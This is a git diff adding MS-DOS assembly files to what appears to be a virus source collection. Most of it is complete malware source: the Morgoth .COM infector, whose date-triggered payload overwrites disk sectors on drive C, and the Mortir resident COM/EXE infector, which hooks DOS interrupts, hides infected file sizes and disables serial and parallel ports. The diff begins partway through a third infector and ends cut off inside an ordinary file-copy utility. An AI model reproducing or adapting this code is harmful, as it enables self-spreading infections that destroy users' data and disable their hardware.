+;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Restore Org DTA address ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Restore_Org_DTA: + PUSH DS + MOV AH,1AH + MOV DX,[SI] ; Get Original DTA + MOV DS,[SI+2] ; address + INT 21H ; St DTA to ds:dx + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Put 3 Original 1st three bytes in place and execute original program ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + POP DS ; Restore DS + PUSH SI ; Store SI + CLD ; + ADD SI,81H ; Address where the 1st three + ; bytes can be found. + MOV DI,100H ; Destination Address + MOV CX,3 ; Number of bytes to move + REP MOVSB ; Move the bytes + POP SI ; Restore SI + POP CX ; Restore CX + XOR AX,AX ; Zero register + XOR BX,BX ; Zero register + XOR DX,DX ; Zero register + XOR SI,SI ; Zero register + MOV DI,100H + PUSH DI ; Store DI + XOR DI,DI ; Zero register + RET 0FFFFH ; Terminate Virus-Code and + ; execute original program. + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Virus Data Area ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + +ORG_DTA_ADD: DW ? ; Storing place for BX of + ; original DTA + DW ? ; Storing place for ES of + ; original DTA +File_Time: DW ? ; Storing place for the + ; filetime of the file +Date: DW ? ; Storing place for the + ; filedate +Attrib: DW ? ; Storing place for the + ; file attributes. + +Three_Bytes: DB 0E9h, 27h, 03h + +First_New_Byte: DB 0E9h ; First new byte of the + ; the infected file. This is + ; the jump instruction. +Length_Min_3: DB 0Dh, 27h ; Also new address to jump + ; to for the virus on exe- + ; cution, 2nd and 3rd new byte + +Search_Spec: DB '*.COM',00h + +Path_Add_Org: DW 00,05 + +Path_Add_Vir: DW '6M' + + DB 'PATH=', 00, 00 + +Destruc_Code_1: DB 0B4h, 0h, 0CDh, 20h, 90h + +File_Path: DB 'VIRCOM.COM' ; Filename including PATH + DB 30 DUP(0) + +New_DTA: + DB 02 + DB '????????COM' + DB 03, 11H + DB 7 DUP (0) + DB 20H, 80H, 12H, 17H, 15H, 10H + DB 27H, 0, 0 + +FileName: DB 'VIRCOM.COM', 00h, 00h, 00h + +Destruc_Code_2: DB 0F4H, 0F4H, 0F4H, 0F4H + +Destruc_Code_3: DB 0CDH, 19H, 0CDH, 19H, 0E9H + +First_3_Bytes: DB 0E9h, 45h, 45h + +Notice: DB '(C) Monxla' + +Time ENDP + +SEG_A ENDS + + + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.morgoth.asm b/MSDOS/Virus.MSDOS.Unknown.morgoth.asm new file mode 100644 index 00000000..e6aa5b41 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.morgoth.asm @@ -0,0 +1,254 @@ +;ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ +;³ Glenns Revenge (Morgoth) ³ +;ĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ“ +;³ This will be a Parasytic Non-Resident .COM infector. ³ +;³ It will also infect COMMAND.COM. ³ +;ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ +; +; +; +; +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; This will contain the segment status, original start, pre-defined +; defenitions, and public settings. +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +.MODEL TINY + +Public VirLen,MovLen,PutMsg + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0Addeh ; Signature of virus is DEAD! + +BegMonthAct Equ 8 ; Begin Month of activation +EndMonthAct Equ 8 ; End Month of activation +BegDayAct Equ 3 ; Begin Day of activation +EndDayAct Equ 18 ; End Day of activation + +ActString Equ CR,LF,'This Personal Computer has been struck by the uncurable disease that is',CR,LF,'called "The Doom of Morgoth".',CR,LF,EOM + +CR Equ 13 ; Return +LF Equ 10 ; Linefeed +EOM Equ '$' ; Einde Tekst + +Buff1 Equ 0F000h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +Proggie Equ Offset DTA+1Eh + +MinLen Equ Virlen+10 ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; This will contain only macros, for pieces of code which will be +; used very often. +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ + + Mov AH,2Ah ;------------------ + Int 21h ; Systeemdatum vergelijken met + Cmp DH,BegMonthAct ; activatiedatum. Als dit gelijk is + Jb InfectPart ; moet word PutMsg aangeroepen, anders + Cmp DH,EndMonthAct ; wordt InfectPart aangeroepen. + Jg InfectPart ; + Cmp DL,BegDayAct ; + Jb InfectPart ; + Cmp DL,EndDayAct ; + Jg InfectPart ;------------------ +PutMsg: Mov AH,09h ; Activatiebericht wordt getoont en + Mov DX,Offset Msg ; de eerste 80 sectoren van de C + Int 21h ; drive worden volgeschreven met + Int 20h ; + Mov AL,2 ; onzin. Computer is vastgelopen : + Mov CX,80 ; RESET! + Mov DX,0 ; + Int 26h ; +Vastgezet: Jmp Vastgezet ;------------------ + +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Lea DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,DTA+1Ah ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Mov DX,MaxLen ; (langer dan virus) + Cmp DX,DTA+1Ah ; + Jb ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeknext + Jz ZoekNext ;------------------ + Jmp Infect +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ + +Infect: + Mov AH,43h ;------------------ + Mov AL,0 ; Eventuele schrijf- + Mov DX,Proggie ; beveiliging weghalen + Int 21h ; van het programma + Mov AH,43h ; + Mov AL,1 ; + And CX,11111110b ; + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Jmp CS:[Sprong] ;------------------ + +Msg db ActString + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 0 +Source DW 0 + +DTA DW 64 DUP(?) + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Movsb ; deze verplaatsroutine staat. + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Only the end of the virus is stored in here. +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +Einde db 0 + +Code Ends +End Begin + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.mortir.asm b/MSDOS/Virus.MSDOS.Unknown.mortir.asm new file mode 100644 index 00000000..5590950c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mortir.asm @@ -0,0 +1,470 @@ +; mortir.asm : Mortir - le virus de francais +; Created with Biological Warfare - Version 0.90į by MnemoniX + +PING equ 0D8FAh +PONG equ 0F2BEh +STAMP equ 17 +MARKER equ 06971h + +code segment + org 0 + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + push ds es + + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + xor ax,ax ; mild anti-trace code + mov es,ax ; kill interrupts 1 & 3 + mov di,6 + stosw + mov di,14 + stosw + + in al,21h ; lock out & reopen keyboard + xor al,2 + out 21h,al + xor al,2 + out 21h,al + + mov ax,PING ; test for residency + int 21h + cmp bx,PONG + je installed + + mov ax,es ; Get PSP + dec ax + mov ds,ax ; Get MCB + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupts + mov ds,ax + + mov si,21h * 4 ; get original int 21 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new int 21 + +installed: + call activate ; activation routine + + pop es ds ; restore segregs + cmp sp,MARKER ; check for .EXE + je exe_exit + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave +exe_exit: + mov ax,ds ; fix up return address + add ax,10h + push ax + add ax,cs:[bp + exe_cs] + mov cs:[bp + return_cs],ax + + mov ax,cs:[bp + exe_ip] + mov cs:[bp + return_ip],ax + + pop ax + add ax,cs:[bp + exe_ss] ; restore stack + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + + call fix_regs ; fix up registers + sti + + db 0EAh ; back to host program +return_ip dw 0 +return_cs dw 0 + +exe_cs dw -16 ; orig CS:IP +exe_ip dw 103h +exe_sp dw -2 ; orig SS:SP +exe_ss dw -16 + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + +; interrupt 21 handler +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; residency test + je ping_pong + cmp ah,11h ; directory stealth + je dir_stealth + cmp ah,12h + je dir_stealth + cmp ah,4Eh ; directory stealth + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + cmp ah,3Dh ; file open + je file_open + cmp ax,4B00h ; execute program + jne int_21_exit + jmp execute +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +ping_pong: + mov bx,PONG + iret + +dir_stealth: + call int_21 ; get dir entry + test al,al + js dir_stealth_done + + push ax bx es + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 +no_ext_FCB: + mov ax,es:[bx + 17h] ; check for infection marker + and al,31 + cmp al,STAMP + jne dir_fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Fh],0 +dir_fixed: + pop es bx ax +dir_stealth_done: + iret + +dir_stealth_2: + pushf + call dword ptr cs:[old_int_21] + jc dir_stealth_done_2 + +check_infect2: + push ax bx es + + mov ah,2Fh + int 21h + mov ax,es:[bx + 16h] + and al,31 ; check timestamp + cmp al,STAMP + jne fixed_2 + + sub es:[bx + 1Ah],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Ch],0 + +fixed_2: + pop es bx ax + clc ; clear carry +dir_stealth_done_2: + retf 2 + +file_open: + push ax cx di es + call get_extension + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; perhaps .EXE then + cmp byte ptr [di + 2],'M' + jne not_prog + jmp a_program +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne not_prog + cmp byte ptr [di + 2],'E' + jne not_prog +a_program: + pop es di cx ax + jmp execute ; infect file +not_prog: + pop es di cx ax + jmp int_21_exit + +execute: + push ax bx cx dx si di ds es + + call get_extension ; check filename + cmp es:[di - 3],'DN' ; skip if COMMAND + jne open_file + jmp cant_open + +open_file: + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + mov es:[24h * 4],offset int_24 + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + call int_21 + jc cant_open + xchg bx,ax + + push cs ; CS = DS + pop ds + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + mov dx,offset read_buffer + int 21h + + cmp word ptr read_buffer,'ZM' ; .EXE? + je infect_exe ; yes, infect as .EXE + + mov al,2 ; move to end of file + call move_file_ptr + + cmp dx,65279 - (VIRUS_SIZE + 3) + ja dont_infect ; too big, don't infect + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr read_buffer + 1 + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr new_jump + 1,dx + + mov dx,offset read_buffer ; save original program head + int 21h + + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + mov dx,offset virus_begin + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + mov dx,offset new_jump ; and write new jump + int 21h + +fix_date_time: + pop dx cx + and cl,-32 ; add time stamp + or cl,STAMP + mov ax,5701h ; restore file date/time + int 21h + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit ; leave + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret +infect_exe: + cmp word ptr read_buffer[26],0 + jne dont_infect ; overlay, don't infect + + cmp word ptr read_buffer[16],MARKER + je dont_infect ; infected already + + les ax,dword ptr read_buffer[20] + mov exe_cs,es ; CS + mov exe_ip,ax ; IP + + les ax,dword ptr read_buffer[14] + mov exe_ss,ax ; SS + mov exe_sp,es ; SP + mov word ptr read_buffer[16],MARKER + + mov ax,4202h ; to end of file + cwd + xor cx,cx + int 21h + + push ax dx ; save file size + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + add dx,100 + mov word ptr read_buffer[14],dx + + pop dx ax ; calculate prog size + + add ax,VIRUS_SIZE + 3 + adc dx,0 + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + + mov ah,40h + mov cx,VIRUS_SIZE + 3 + mov dx,offset virus_begin + int 21h + + + mov ax,4200h ; back to beginning + cwd + xor cx,cx + int 21h + + mov ah,40h ; and fix up header + mov cx,28 + mov dx,offset read_buffer + int 21h + jmp fix_date_time ; done + +courtesy_of db '[BW]',0 +signature db 'Mortir - le virus de francais',0 + + +; ********************** +; * Activation Routine * ; Disables LPT1-4 and COM1-4 +; ********************** ; The actual viral payload! + +activate: +main proc near + mov si,0001h ; First argument is 1 + call disable_parallel + mov si,0002h ; First argument is 2 + call disable_parallel + mov si,0003h ; First argument is 3 + call disable_parallel + mov si,0004h ; First argument is 4 + call disable_parallel + mov si,0001h ; First argument is 1 + call disable_serial + mov si,0002h ; First argument is 2 + call disable_serial + mov si,0003h ; First argument is 3 + call disable_serial + mov si,0004h ; First argument is 4 + call disable_serial + +main endp + +disable_parallel proc near + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 0407h],0 ; Zero LPT port address + pop es ; Restore ES + ret ; Return to caller +disable_parallel endp + +disable_serial proc near + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 03FEh],0 ; Zero COM port address + pop es ; Restore ES + ret ; Return to caller +disable_serial endp + +vcl_marker db "[VCL]",0 ; VCL creation marker + + ret ; Return to Mortir code + +; ************************** +; * End of Activation Code * +; ************************** + +get_extension: + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + ret +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.move.asm b/MSDOS/Virus.MSDOS.Unknown.move.asm new file mode 100644 index 00000000..624ecbd9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.move.asm @@ -0,0 +1,150 @@ +CODE_SEG SEGMENT + ORG 100H ;ORG 100H for a .com file + ASSUME CS:CODE_SEG,DS:CODE_SEG +FIRST: JMP ENTRY ;Skip over data area + COPYRIGHT DB '(C) S. HOLZNER 1984' + TARGET_FCB DB 37 DUP(0) ;FCB at 6CH will be written over + END_FLAG DW 0 ;Flag set after everything read + FILE_SIZE_LO DW 0 ;Low word of file size, in bytes + FILE_SIZE_HI DW 0 ;High word of same + FILE_SIZE_K DW 0 ;Number of Clusters to write + DTA_OFFSET DW 0 ;Used for 1K increments into DTA + COPY_MSG_1 DB 13,10,'Copy $' ;Part 1 of the copy prompt + COPY_MSG_2 DB ' (Y/N)?$' ;And part 2 + FULL_MSG DB 13,10,'Disk Full$' ;Trouble message + +MOVE PROC NEAR ;The main (and only) procedure +ENTRY: MOV CX,32 ;Copy over 1st 32 bytes of default DTA + MOV SI,6CH ; from 6CH into Target_FCB area for + LEA DI,TARGET_FCB ; later use as new file name +REP MOVSB + MOV DX,5CH ;The source FCB + MOV AH,11H ;Check if there is match to source file + INT 21H + CMP AL,0FFH ;0FFH -> No match + JNE QUERY ;Match + JMP OUT ;No Match +QUERY: MOV AH,9H ;Print out prompt message + LEA DX,COPY_MSG_1 + INT 21H + MOV CX,11 ;Print out 11 letters of found file name + MOV BX,81H ;Point to match in default DTA + MOV AH,2 +QLOOP: MOV DL,[BX] ;Get letter of found file's name + INC BX ;Point to next letter + INT 21H + LOOP QLOOP ;Keep going until all 11 printed + MOV AH,9H ;Print out 2nd half of prompt message + LEA DX,COPY_MSG_2 + INT 21H + MOV AH,1 ;Get a 1 character response + INT 21H + CMP AL,'Y' ;Was it a 'Y'? + JE DO_COPY ;Yes, copy the file + CMP AL,'y' ;No...perhaps a 'y'? + JE DO_COPY ;Yes, copy the file + JMP NEXT ;Get next match (if none, leave) +DO_COPY:MOV CX,37 ;Using given target file as a template, + LEA SI,TARGET_FCB ; load its 37 characters into the FCB + MOV DI,0C0H ; for use as real target FCB, checking + CMP BYTE PTR [SI+1],' ' ; for wildcards. First, was DRIVE: given + JNE NLOOP ; as target? No, check wildcards. + PUSH DI ;Yes, fill Target_FCB with wildcard ?'s + PUSH CX ; so found filename will be used + LEA DI,TARGET_FCB + INC DI + MOV CX,11 ;Put in 11 ?'s + MOV AL,'?' +REP STOSB ;Do the fill + POP CX ;Restore counter and dest. pointer + POP DI +NLOOP: MOV BX,0 ;Move given target name into real used + CMP BYTE PTR [SI],'?' ; target FCB at 0C0H. If a wildcard is + JNE CHAR_OK ; found in given filename use corres- + MOV BX,80H ; ponding character in found filename + SUB BX,OFFSET TARGET_FCB ;Wildcard found, adjust source (SI) to + ADD SI,BX ; point to the found filename +CHAR_OK:MOVS [DI],[SI] + SUB SI,BX ;Restore SI if necessary + LOOP NLOOP ;Loop back until for all 11 name char.s + MOV DX,80H ;Target FCB now at 0C0H, source at 80H + MOV AH,0FH ;Use DOS service 15 to open source + INT 21H ;Open source FCB + MOV DX,0C0H ;Use DOS service 12 to create target + MOV AH,16H + INT 21H ;Create target FCB (or if the file + AND END_FLAG,0 ; already exists, zero it and refill it) + MOV BX,80H + 14 + MOV WORD PTR [BX],8000H ;Set record size for source (32K) + MOV BX,80H + 16 ;Get file size from opened source FCB + MOV AX,[BX] + MOV FILE_SIZE_LO,AX ;Store low word of size in FILE_SIZE_LO + ADD BX,2 ;Point to high word + MOV DX,[BX] + MOV FILE_SIZE_HI,DX ;Store high word of size in FILE_SIZE_HI + MOV CX,1024 ;Div DX:AX (High:Low of size) by 1024 + DIV CX + MOV FILE_SIZE_K,AX ;Get file size in rounded-up K (1024) + TEST DX,0FFFFH ;Was it an even K file:Mod(size,1024)=0? + JZ ROUND ;Yes, don't add cluster for file remnant + INC FILE_SIZE_K ;No, add 1 more cluster for remainder +ROUND: MOV BX,0C0H + 14 + MOV WORD PTR [BX],400H ;Set record size for target (1K) +READ: LEA DX,DATA_POINT 